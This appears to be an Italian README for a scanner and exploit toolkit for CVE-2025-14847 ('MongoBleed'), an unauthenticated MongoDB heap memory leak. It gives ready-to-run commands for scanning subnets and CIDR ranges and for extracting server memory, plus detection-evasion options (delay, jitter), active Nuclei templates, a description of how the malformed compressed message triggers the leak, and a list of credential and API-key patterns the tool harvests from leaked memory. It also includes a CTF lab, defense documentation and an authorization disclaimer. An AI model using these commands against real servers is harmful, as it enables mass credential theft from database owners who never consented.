
Scanner e strumento di exploit per CVE-2025-14847 (MongoBleed). Perdita di memoria heap MongoDB non autenticata tramite decompressione zlib. Include rilevamento, estrazione della memoria, parsing delle credenziali, scansione CIDR/batch, template Nuclei e lab CTF.
CVE-2025-14847 Scanner e Toolkit di Exploit
Un toolkit di ricerca sulla sicurezza per MongoBleed -- una critica perdita di memoria non autenticata nella decompressione zlib di MongoDB che consente agli attaccanti di estrarre dati sensibili dalla memoria heap del server senza autenticazione.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Nessuna dipendenza esterna -- solo libreria standard di Python 3
cd cli
# Rileva se un target è vulnerabile (azione predefinita)
python mongobleed.py -t localhost:27017
# Scansiona un'intera sottorete
python mongobleed.py -t 192.168.1.0/24
# Estrae la memoria e analizza per credenziali
python mongobleed.py -t target:27017 -e --credentials
# Modalità sicura -- solo rilevamento, nessuno sfruttamento
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Scanner e strumento di sfruttamento da riga di comando
│ ├── mongobleed.py # Strumento CLI principale
│ ├── requirements.txt # Dipendenze Python (solo stdlib)
│ └── README.md # Documentazione CLI
├── lab/ # Ambiente lab CTF basato su Docker
│ ├── docker-compose.yml # Configurazione lab multi-contenitore
│ ├── vulnerable/ # Configurazioni MongoDB vulnerabili
│ ├── patched/ # MongoDB corretto per confronto
│ ├── no-zlib/ # Non sfruttabile (zlib disabilitato)
│ ├── monitoring/ # Dashboard di visualizzazione degli attacchi
│ ├── warmup-heap.sh # Popola la heap con dati sensibili
│ └── README.md # Istruzioni di configurazione del lab
├── nuclei/ # Template di scansione Nuclei
│ ├── CVE-2025-14847.yaml # Template di sfruttamento attivo
│ ├── CVE-2025-14847-safe.yaml # Template di rilevamento sicuro
│ └── README.md # Documentazione dei template Nuclei
├── docs/ # Documentazione educativa
│ ├── README.md # Indice del percorso di apprendimento
│ ├── 01-fundamentals.md # Nozioni di base su MongoDB e memoria
│ ├── 02-vulnerability.md # Analisi approfondita di CVE-2025-14847
│ ├── 03-exploitation.md # Sfruttamento pratico
│ ├── 04-detection.md # Ricerca e rilevamento
│ └── 05-defense.md # Strategie di mitigazione
└── README.md # Questo file
192.168.1.0/24, 10.0.0.0/16:27018)# Controlla un singolo target
python mongobleed.py -t localhost:27017
# Controlla con output verboso
python mongobleed.py -t localhost:27017 -v
# Modalità sicura -- solo rilevamento, non invia mai il payload di exploit
python mongobleed.py -t localhost:27017 -s
# Mostra le informazioni sulla versione
python mongobleed.py -t localhost:27017 --version
# Scansiona una sottorete /24
python mongobleed.py -t 192.168.1.0/24
# CIDR con porta personalizzata
python mongobleed.py -t 10.0.0.0/24:27018
# Scansione da file di target (gli intervalli CIDR nel file vengono espansi)
python mongobleed.py -T targets.txt -j 20 -o results.json
# Il file di target può contenere IP, host:porta e intervalli CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Estrae la memoria (intervallo di offset predefinito 20-8192)
python mongobleed.py -t target:27017 -e
# Intervallo di offset personalizzato
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Estrazione continua (Ctrl+C per fermare)
python mongobleed.py -t target:27017 --continuous
# Forza l'estrazione anche se il controllo della versione non è conclusivo
python mongobleed.py -t target:27017 -e --force
# Analizza la memoria trapelata per credenziali e segreti
python mongobleed.py -t target:27017 -e --credentials
# Analizza i token in particolare
python mongobleed.py -t target:27017 -e --tokens
# Estrae stringhe stampabili
python mongobleed.py -t target:27017 -e --strings
# Output hexdump
python mongobleed.py -t target:27017 -e --hexdump
# Aggiunge un ritardo tra le richieste (millisecondi)
python mongobleed.py -t target:27017 -e --delay 500
# Jitter casuale sul ritardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Solo rilevamento sicuro
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Rilevamento attivo
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Scansiona più target
nuclei -t nuclei/ -l targets.txt
# Avvia tutti i contenitori
cd lab && docker compose up -d
# Servizi:
# - localhost:27017 MongoDB 4.4.29 (Vulnerabile + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnerabile + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnerabile + zlib)
# - localhost:27020 MongoDB 8.0.17 (Corretto)
# - localhost:27021 MongoDB 8.0.16 (Senza zlib - non sfruttabile)
# - localhost:8080 Dashboard di monitoraggio
# Riscalda la heap con dati sensibili prima dello sfruttamento
./warmup-heap.sh 27017 50
# Esegui l'exploit contro il lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Target:
-t, --target TARGET Host:porta di destinazione o intervallo CIDR (es. 192.168.1.0/24)
-T, --targets FILE File con elenco di target (supporta CIDR per riga)
Rilevamento:
--detect Rileva se il target è vulnerabile (azione predefinita)
--version Mostra la versione di MongoDB
-s, --safe Modalità sicura - solo rilevamento, nessuno sfruttamento
Sfruttamento:
-e, --extract Estrae la memoria tramite scansione degli offset
--min-offset N Offset minimo da sondare (predefinito: 20)
--max-offset N Offset massimo da sondare (predefinito: 8192)
--continuous Modalità di estrazione continua
--force Forza l'estrazione anche se il controllo della versione fallisce
Analisi:
--credentials Analizza per credenziali
--tokens Analizza per token
--strings Estrae stringhe stampabili
--hexdump Mostra hexdump
Evasione:
--delay MS Ritardo tra le richieste (millisecondi)
--jitter Jitter casuale sul ritardo
Output:
-o, --output FILE File di output (JSON)
-v, --verbose Output verboso
-q, --quiet Modalità silenziosa
--json Output JSON
--no-color Disabilita i colori
Connessione:
--timeout SECS Timeout di connessione (predefinito: 10)
-j, --threads N Thread per la scansione batch (predefinito: 10)
Il tool cerca i seguenti pattern nella memoria estratta:
MongoBleed sfrutta un difetto nella decompressione dei messaggi zlib di MongoDB (message_compressor_zlib.cpp). Il codice vulnerabile restituisce la dimensione del buffer allocato invece della lunghezza effettiva decompressa, consentendo agli attaccanti di leggere memoria heap non inizializzata.
1. CONNECT (no authentication required)
↓
2. SEND MALFORMED OP_COMPRESSED
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: INFLATED │ ← Bug trigger
│ compressorId: zlib (2) │
│ compressedMessage: [small data] │
└──────────────────────────────────┘
↓
3. SERVER ALLOCATES OVERSIZED BUFFER
[ small real data | uninitialized heap memory ]
↓
4. BSON PARSER READS INTO HEAP GARBAGE
Inflated document length causes parser to read
beyond actual data into heap memory
↓
5. ERROR RESPONSE LEAKS MEMORY
"invalid BSON field name 'password=secret123...'"
Questo toolkit è fornito esclusivamente per test di sicurezza autorizzati, ricerca e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali disponi di un'autorizzazione esplicita a testarli. L'accesso non autorizzato a sistemi informatici è illegale.
MIT License
| Tipo | Esempio di Pattern |
|---|
| password | password: value, passwd=value |
| secret | secret: value |
| api_key | api_key: sk_live_... |
| token | token: ... (16+ caratteri) |
| bearer_token | Bearer eyJ... |
| jwt | eyJ... (JWT Base64) |
| mongodb_uri | mongodb://user:pass@host |
| postgres_uri | postgresql://... |
| redis_uri | redis://... |
| stripe_key | sk_live_... |
| openai_key | sk-... (48+ caratteri) |
| aws_access_key | AKIA... |
| github_token | ghp_... |
| slack_token | xoxb-..., xoxp-... |
| ctf_flag | FLAG{...} |
| Voce | Valore |
|---|
| CVE | CVE-2025-14847 |
| Nome | MongoBleed |
| CWE | CWE-130 (Gestione impropria del parametro di lunghezza) |
| CVSS | 8.7 (Alto) |
| Tipo | Perdita di memoria non autenticata |
| Divulgata | 19 dicembre 2025 |
| Sfruttata ITW | 29 dicembre 2025 |
| Ramo | Vulnerabile | Corretto |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | Tutte le versioni | EOL - Nessuna patch |
| 4.0.x | Tutte le versioni | EOL - Nessuna patch |
| 3.6.x | Tutte le versioni | EOL - Nessuna patch |